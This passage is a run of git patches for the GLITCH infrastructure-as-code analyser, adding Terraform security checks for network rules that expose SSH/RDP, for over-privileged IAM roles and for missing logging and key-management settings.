["server_side_encryption"], + "values": ["any_not_empty"], "required": "yes", "msg": "server_side_encryption.kms_key_arn"}, + {"au_type": ["resource.aws_neptune_cluster"], "attribute": "kms_key_arn", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_arn"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "kms_key", "parents": ["encryption_configuration"], + "values": ["any_not_empty"], "required": "yes", "msg": "encryption_configuration.kms_key"}, + {"au_type": ["resource.aws_kms_key"], "attribute": "enable_key_rotation", "parents": [""], + "values": ["true"], "required": "yes", "msg": "enable_key_rotation"}, + {"au_type": ["resource.aws_rds_cluster_instance", "resource.aws_db_instance"], "attribute": "performance_insights_kms_key_id", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "performance_insights_kms_key_id"}, + {"au_type": ["resource.google_kms_crypto_key"], "attribute": "rotation_period", "parents": [""], + "values": [""], "required": "yes", "msg": "rotation_period"}, + {"au_type": ["resource.google_compute_disk"], "attribute": "kms_key_self_link", "parents": ["disk_encryption_key"], + "values": ["any_not_empty"], "required": "yes", "msg": "disk_encryption_key.kms_key_self_link"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "kms_key_self_link", "parents": ["boot_disk"], + "values": ["any_not_empty"], "required": "yes", "msg": "boot_disk.kms_key_self_link"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "block-project-ssh-keys", "parents": ["metadata"], + "values": ["true"], "required": "yes", "msg": "metadata.block-project-ssh-keys"}, + {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From 776d33da1d7782123ded38077cdebc50f75026cb Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 22 Mar 2023 18:30:45 +0000 Subject: [PATCH 11/58] Terraform: Network Security Rules code smell; Added rule to Firewall Misconfiguration code smell; and minor fixes --- glitch/analysis/rules.py | 5 +-- glitch/analysis/security.py | 72 ++++++++++++++++++++++++++++--------- glitch/configs/default.ini | 23 +++++++++++- 3 files changed, 81 insertions(+), 19 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 75878d58..9972f4f4 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -27,7 +27,8 @@ class Error(): 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible.", 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies.", - 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption." + 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption.", + 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", @@ -78,7 +79,7 @@ def __repr__(self) -> str: f"{line}\n" def __hash__(self): - return hash((self.code, self.path, self.line)) + return hash((self.code, self.path, self.line, self.opt_msg)) def __eq__(self, other): if not isinstance(other, type(self)): return NotImplemented diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 62216316..f79c125b 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -52,6 +52,7 @@ def config(self, config_path: str): SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) SecurityVisitor.__PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) SecurityVisitor.__KEY_MANAGEMENT = json.loads(config['security']['key_management']) + SecurityVisitor.__NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -141,7 +142,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_integrity_policy', au, file, repr(au), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - break # check http without tls for config in SecurityVisitor.__HTTPS_CONFIGS: @@ -149,7 +149,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config["parents"], config['attribute'])): errors.append(Error('sec_https', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break # check ssl/tls policy for policy in SecurityVisitor.__SSL_TLS_POLICY: @@ -157,7 +156,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - break # check dns without dnssec for config in SecurityVisitor.__DNSSEC_CONFIGS: @@ -165,7 +163,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_dnssec', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break # check public ip for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: @@ -173,12 +170,10 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_public_ip', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break elif (config['required'] == "must_not_exist" and au.type in config['au_type']): a = check_required_attribute(au.attributes, config['parents'], config['attribute']) if a: errors.append(Error('sec_public_ip', a, file, repr(a))) - break # check insecure access control if (au.type == "resource.aws_api_gateway_method"): @@ -222,7 +217,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_access_control', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break # check authentication if (au.type == "resource.google_sql_database_instance"): @@ -239,7 +233,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_authentication', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break # check missing encryption if (au.type == "resource.aws_s3_bucket"): @@ -269,7 +262,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_missing_encryption', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break # check firewall misconfiguration for config in SecurityVisitor.__FIREWALL_CONFIGS: @@ -277,7 +269,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_firewall_misconfig', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break # check missing threats detection and alerts for config in SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS: @@ -285,12 +276,10 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_threats_detection_alerts', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break elif (config['required'] == "must_not_exist" and au.type in config['au_type']): a = check_required_attribute(au.attributes, config['parents'], config['attribute']) if a: errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) - break # check weak password/key policy for policy in SecurityVisitor.__PASSWORD_KEY_POLICY: @@ -298,7 +287,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_weak_password_key_policy', au, file, repr(au), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - break # check sensitive action by IAM if (au.type == "data.aws_iam_policy_document"): @@ -361,8 +349,53 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_key_management', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + # check network security rules + if (au.type == "resource.azurerm_network_security_rule"): + access = check_required_attribute(au.attributes, [""], "access") + if (access and access.value.lower() == "allow"): + protocol = check_required_attribute(au.attributes, [""], "protocol") + if (protocol and protocol.value.lower() == "udp"): + errors.append(Error('sec_network_security_rules', access, file, repr(access))) + elif (protocol and protocol.value.lower() == "tcp"): + dest_port_range = check_required_attribute(au.attributes, [""], "destination_port_range") + dest_port_ranges = check_required_attribute(au.attributes, [""], "destination_port_ranges[0]") + port = False + if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): + port = True + if dest_port_ranges: + i = 1 + while dest_port_ranges: + if dest_port_ranges.value.lower() in ["22", "3389", "*"]: + port = True + break + i += 1 + dest_port_ranges = check_required_attribute(au.attributes, [""], f"destination_port_ranges[{i}]") + if port: + source_address_prefix = check_required_attribute(au.attributes, [""], "source_address_prefix") + if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] + or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): + errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) + elif (au.type == "resource.azurerm_network_security_group"): + access = check_required_attribute(au.attributes, ["security_rule"], "access") + if (access and access.value.lower() == "allow"): + protocol = check_required_attribute(au.attributes, ["security_rule"], "protocol") + if (protocol and protocol.value.lower() == "udp"): + errors.append(Error('sec_network_security_rules', access, file, repr(access))) + elif (protocol and protocol.value.lower() == "tcp"): + dest_port_range = check_required_attribute(au.attributes, ["security_rule"], "destination_port_range") + if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): + source_address_prefix = check_required_attribute(au.attributes, [""], "source_address_prefix") + if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] + or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): + errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) + + for rule in SecurityVisitor.__NETWORK_SECURITY_RULES: + if (rule['required'] == "yes" and au.type in rule['au_type'] + and not check_required_attribute(au.attributes, rule['parents'], rule['attribute'])): + errors.append(Error('sec_network_security_rules', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: @@ -466,7 +499,7 @@ def get_module_var(c, name: str): for item in (SecurityVisitor.__PASSWORDS + SecurityVisitor.__SECRETS + SecurityVisitor.__USERS): if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name) - and name not in SecurityVisitor.__SECRETS_WHITELIST): + and name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST): if not has_variable: errors.append(Error('sec_hard_secr', c, file, repr(c))) @@ -512,7 +545,7 @@ def get_module_var(c, name: str): for item in SecurityVisitor.__MISC_SECRETS: if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) - and name not in SecurityVisitor.__SECRETS_WHITELIST and len(value) > 0 and not has_variable): + and name.split("[")[0] not in SecurityVisitor.__SECRETS_WHITELIST and len(value) > 0 and not has_variable): errors.append(Error('sec_hard_secr', c, file, repr(c))) for item in SecurityVisitor.__SENSITIVE_DATA: @@ -679,6 +712,13 @@ def get_module_var(c, name: str): and value == "alias/aws/sns"))): errors.append(Error('sec_key_management', c, file, repr(c))) + for rule in SecurityVisitor.__NETWORK_SECURITY_RULES: + if (name == rule['attribute'] and atomic_unit.type in rule['au_type'] + and parent_name in rule['parents'] and value.lower() not in rule['values'] + and rule['values'] != [""]): + errors.append(Error('sec_network_security_rules', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index cd9f3250..1ca62e4c 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -253,7 +253,11 @@ firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": " {"au_type": ["resource.azurerm_key_vault"], "attribute": "default_action", "parents": ["network_acls"], "values": ["deny"], "required": "yes", "msg": "network_acls.default_action"}, {"au_type": ["resource.azurerm_key_vault"], "attribute": "bypass", "parents": ["network_acls"], - "values": ["azureservices"], "required": "yes", "msg": "network_acls.bypass"}] + "values": ["azureservices"], "required": "yes", "msg": "network_acls.bypass"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "cidr_blocks", "parents": ["master_authorized_networks_config"], + "values": [""], "required": "yes", "msg": "master_authorized_networks_config.cidr_blocks.cidr_block"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "cidr_block", "parents": ["cidr_blocks"], + "values": [""], "required": "yes", "msg": "master_authorized_networks_config.cidr_blocks.cidr_block"}] missing_threats_detection_alerts = [{"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "disabled_alerts[0]", "parents": [""], "values": [""], "required": "must_not_exist"}, @@ -315,6 +319,23 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date"}] +network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", + "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "default_action", + "parents": ["network_rules"], "values": ["deny"], "required": "yes", "msg": "network_rules.default_action"}, + {"au_type": ["resource.aws_network_acl_rule"], "attribute": "protocol", + "parents": [""], "values": ["tcp"], "required": "no"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "network_policy", "parents": ["network_profile"], + "values": ["calico", "azure"], "required": "yes", "msg": "network_profile.network_policy"}, + {"au_type": ["resource.azurerm_synapse_workspace"], "attribute": "managed_virtual_network_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "managed_virtual_network_enabled"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "serial-port-enable", "parents": ["metadata"], + "values": ["false"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "ip_allocation_policy", "parents": [""], + "values": [""], "required": "yes", "msg": "ip_allocation_policy"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "enabled", "parents": ["network_policy"], + "values": ["true"], "required": "yes", "msg": "network_policy.enabled"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From 77c42ede8eb94ed6622ca1bf8e6a3a8c59f5e22c Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 23 Mar 2023 18:38:07 +0000 Subject: [PATCH 12/58] Minor Fixes and Terraform: Permission of IAM Policies code smell --- glitch/analysis/rules.py | 3 +- glitch/analysis/security.py | 77 ++++++++++++++++++++++++++----------- glitch/configs/default.ini | 15 ++++++++ 3 files changed, 72 insertions(+), 23 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 9972f4f4..68ec8e4e 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -28,7 +28,8 @@ class Error(): 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies.", 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption.", - 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used." + 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used.", + 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index f79c125b..f4133d7b 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -53,6 +53,8 @@ def config(self, config_path: str): SecurityVisitor.__PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) SecurityVisitor.__KEY_MANAGEMENT = json.loads(config['security']['key_management']) SecurityVisitor.__NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) + SecurityVisitor.__PERMISSION_IAM_POLICIES = json.loads(config['security']['permission_iam_policies']) + SecurityVisitor.__GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -75,42 +77,42 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: break - def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, attribute_parents: list): + def get_associated_au(c, type: str, attribute_name: str , pattern, attribute_parents: list): if isinstance(c, Project): module_name = os.path.basename(os.path.dirname(file)) for m in self.code.modules: if m.name == module_name: - return get_associated_au(m, type, attribute_name, attribute_value, attribute_parents) + return get_associated_au(m, type, attribute_name, pattern, attribute_parents) elif isinstance(c, Module): for ub in c.blocks: - au = get_associated_au(ub, type, attribute_name, attribute_value, attribute_parents) + au = get_associated_au(ub, type, attribute_name, pattern, attribute_parents) if au: return au else: for au in c.atomic_units: if (au.type == type and check_required_attribute( - au.attributes, attribute_parents, attribute_name, attribute_value)): + au.attributes, attribute_parents, attribute_name, None, pattern)): return au return None - def get_attributes_with_name_and_value(attributes, parents, name, value = None): + def get_attributes_with_name_and_value(attributes, parents, name, value = None, pattern = None): aux = [] for a in attributes: if a.name.split('dynamic')[-1] == name and parents == [""]: - if value and a.value.lower() == value: + if ((value and a.value.lower() == value) or (pattern and re.match(pattern, a.value.lower()))): aux.append(a) - elif value and a.value.lower() != value: + elif ((value and a.value.lower() != value) or (pattern and not re.match(pattern, a.value.lower()))): continue - elif not value: + elif (not value and not pattern): aux.append(a) elif a.name.split('dynamic.')[-1] in parents: - aux += get_attributes_with_name_and_value(a.keyvalues, [""], name, value) + aux += get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) elif a.keyvalues != []: - aux += get_attributes_with_name_and_value(a.keyvalues, parents, name, value) + aux += get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) return aux - def check_required_attribute(attributes, parents, name, value = None): - attributes = get_attributes_with_name_and_value(attributes, parents, name, value) + def check_required_attribute(attributes, parents, name, value = None, pattern = None): + attributes = get_attributes_with_name_and_value(attributes, parents, name, value, pattern) if attributes != []: return attributes[0] else: @@ -206,8 +208,9 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): elif (au.type == "resource.google_sql_database_instance"): check_database_flags('sec_access_control', "cross db ownership chaining", "off") elif (au.type == "resource.aws_s3_bucket"): - if not get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", - "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]): + expr = "\${aws_s3_bucket\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + if not get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): errors.append(Error('sec_access_control', au, file, repr(au), f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + f"associated to an 'aws_s3_bucket' resource.")) @@ -222,8 +225,9 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if (au.type == "resource.google_sql_database_instance"): check_database_flags('sec_authentication', "contained database authentication", "off") elif (au.type == "resource.aws_iam_group"): - if not get_associated_au(self.code, "resource.aws_iam_group_policy", "group", - "${aws_iam_group." + f"{au.name}" + ".name}", [""]): + expr = "\${aws_iam_group\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + if not get_associated_au(self.code, "resource.aws_iam_group_policy", "group", pattern, [""]): errors.append(Error('sec_authentication', au, file, repr(au), f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + f"'aws_iam_group' resource.")) @@ -236,8 +240,10 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): # check missing encryption if (au.type == "resource.aws_s3_bucket"): - r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", - "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) + expr = "\${aws_s3_bucket\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", + "bucket", pattern, [""]) if not r: errors.append(Error('sec_missing_encryption', au, file, repr(au), f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + @@ -315,8 +321,10 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): # check key management if (au.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{au.name}" + pattern = re.compile(rf"{expr}") r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", - "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) + pattern, [""]) if not r: errors.append(Error('sec_key_management', au, file, repr(au), f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + @@ -338,8 +346,10 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): f"Suggestion: check for a required attribute with name " + f"'rule.apply_server_side_encryption_by_default.kms_master_key_id'.")) elif (au.type == "resource.azurerm_storage_account"): + expr = "\${azurerm_storage_account\." + f"{au.name}" + pattern = re.compile(rf"{expr}") if not get_associated_au(self.code, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", - "${azurerm_storage_account." + f"{au.name}" + ".id}", [""]): + pattern, [""]): errors.append(Error('sec_key_management', au, file, repr(au), f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + f"associated to an 'azurerm_storage_account' resource.")) @@ -395,13 +405,21 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): and not check_required_attribute(au.attributes, rule['parents'], rule['attribute'])): errors.append(Error('sec_network_security_rules', au, file, repr(au), f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) + + # check permission of IAM policies + if (au.type == "resource.aws_iam_user"): + expr = "\${aws_iam_user\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + assoc_au = get_associated_au(self.code, "resource.aws_iam_user_policy", "user", pattern, [""]) + if assoc_au: + a = check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) + errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: return [] - # FIXME attribute and variables need to have superclass def __check_keyvalue(self, c: CodeElement, name: str, value: str, has_variable: bool, file: str, atomic_unit: AtomicUnit = None, parent_name: str = ""): errors = [] @@ -612,7 +630,7 @@ def get_module_var(c, name: str): errors.append(Error('sec_access_control', c, file, repr(c))) elif (name == "email" and parent_name == "service_account" and atomic_unit.type == "resource.google_compute_instance" - and re.search(r"\d+-compute@developer.gserviceaccount.com", value)): + and re.search(r".-compute@developer.gserviceaccount.com", value)): errors.append(Error('sec_access_control', c, file, repr(c))) for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: @@ -719,6 +737,21 @@ def get_module_var(c, name: str): errors.append(Error('sec_network_security_rules', c, file, repr(c))) break + if ((name == "member" or name.split('[')[0] == "members") + and atomic_unit.type in SecurityVisitor.__GOOGLE_IAM_MEMBER + and (re.search(r".-compute@developer.gserviceaccount.com", value) or + re.search(r".@appspot.gserviceaccount.com", value) or + re.search(r"user:", value))): + errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) + + for config in SecurityVisitor.__PERMISSION_IAM_POLICIES: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ((config['logic'] == "equal" and value.lower() not in config['values']) + or (config['logic'] == "diff" and value.lower() in config['values'])): + errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 1ca62e4c..d929a526 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -336,6 +336,21 @@ network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network {"au_type": ["resource.google_container_cluster"], "attribute": "enabled", "parents": ["network_policy"], "values": ["true"], "required": "yes", "msg": "network_policy.enabled"}] +google_iam_member_resources = ["resource.google_project_iam_member", "resource.google_project_iam_binding", + "resource.google_organization_iam_member", "resource.google_organization_iam_binding", + "resource.google_folder_iam_member", "resource.google_folder_iam_binding"] + +permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "resource.google_project_iam_binding", + "resource.google_organization_iam_member", "resource.google_organization_iam_binding", + "resource.google_folder_iam_member", "resource.google_folder_iam_binding"], + "attribute": "role", "parents": [""], "values": ["roles/owner", "roles/editor", "roles/iam.securityadmin", + "roles/iam.serviceaccountadmin", "roles/iam.serviceaccountkeyadmin", "roles/iam.serviceaccountuser", + "roles/iam.serviceaccounttokencreator", "roles/iam.workloadidentityuser", "roles/dataproc.editor", + "roles/dataproc.admin", "roles/dataflow.developer", "roles/resourcemanager.folderadmin", + "roles/resourcemanager.folderiamadmin", "roles/resourcemanager.projectiamadmin", "roles/resourcemanager.organizationadmin", + "roles/cloudasset.viewer", "roles/cloudasset.owner", "roles/serverless.serviceagent", "roles/dataproc.serviceagent"], + "required": "no", "logic": "diff"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From 3348621aec33068d0f181d929c38e32645c11d3b Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 28 Mar 2023 15:31:28 +0100 Subject: [PATCH 13/58] Terraform: Logging code smell and minor fixes --- glitch/analysis/rules.py | 3 +- glitch/analysis/security.py | 155 ++++++++++++++++++++++++++++++++++-- glitch/configs/default.ini | 75 ++++++++++++++++- 3 files changed, 224 insertions(+), 9 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 68ec8e4e..29b49ff7 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -29,7 +29,8 @@ class Error(): 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies.", 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption.", 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used.", - 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies." + 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies.", + 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index f4133d7b..d008e4bb 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -55,6 +55,8 @@ def config(self, config_path: str): SecurityVisitor.__NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) SecurityVisitor.__PERMISSION_IAM_POLICIES = json.loads(config['security']['permission_iam_policies']) SecurityVisitor.__GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) + SecurityVisitor.__LOGGING = json.loads(config['security']['logging']) + SecurityVisitor.__GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -98,7 +100,7 @@ def get_associated_au(c, type: str, attribute_name: str , pattern, attribute_par def get_attributes_with_name_and_value(attributes, parents, name, value = None, pattern = None): aux = [] for a in attributes: - if a.name.split('dynamic')[-1] == name and parents == [""]: + if a.name.split('dynamic.')[-1] == name and parents == [""]: if ((value and a.value.lower() == value) or (pattern and re.match(pattern, a.value.lower()))): aux.append(a) elif ((value and a.value.lower() != value) or (pattern and not re.match(pattern, a.value.lower()))): @@ -118,7 +120,7 @@ def check_required_attribute(attributes, parents, name, value = None, pattern = else: return None - def check_database_flags(smell: str, flag_name: str, safe_value: str): + def check_database_flags(smell: str, flag_name: str, safe_value: str, required_flag = True): database_flags = get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") found_flag = False if database_flags != []: @@ -130,11 +132,11 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if value and value.value.lower() != safe_value: errors.append(Error(smell, value, file, repr(value))) break - elif not value: - errors.append(Error(smell, au, file, repr(au), + elif not value and required_flag: + errors.append(Error(smell, flag, file, repr(flag), f"Suggestion: check for a required attribute with name 'value'.")) break - if not found_flag: + if not found_flag and required_flag: errors.append(Error(smell, au, file, repr(au), f"Suggestion: check for a required flag '{flag_name}'.")) @@ -414,6 +416,120 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): if assoc_au: a = check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) + + # check logging + if (au.type == "resource.aws_eks_cluster"): + enabled_cluster_log_types = check_required_attribute(au.attributes, [""], "enabled_cluster_log_types[0]") + types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + if enabled_cluster_log_types: + i = 0 + while enabled_cluster_log_types: + a = enabled_cluster_log_types + if enabled_cluster_log_types.value.lower() in types: + types.remove(enabled_cluster_log_types.value.lower()) + i += 1 + enabled_cluster_log_types = check_required_attribute(au.attributes, [""], f"enabled_cluster_log_types[{i}]") + if types != []: + errors.append(Error('sec_logging', a, file, repr(a), + f"Suggestion: check for additional log type(s) {types}.")) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name 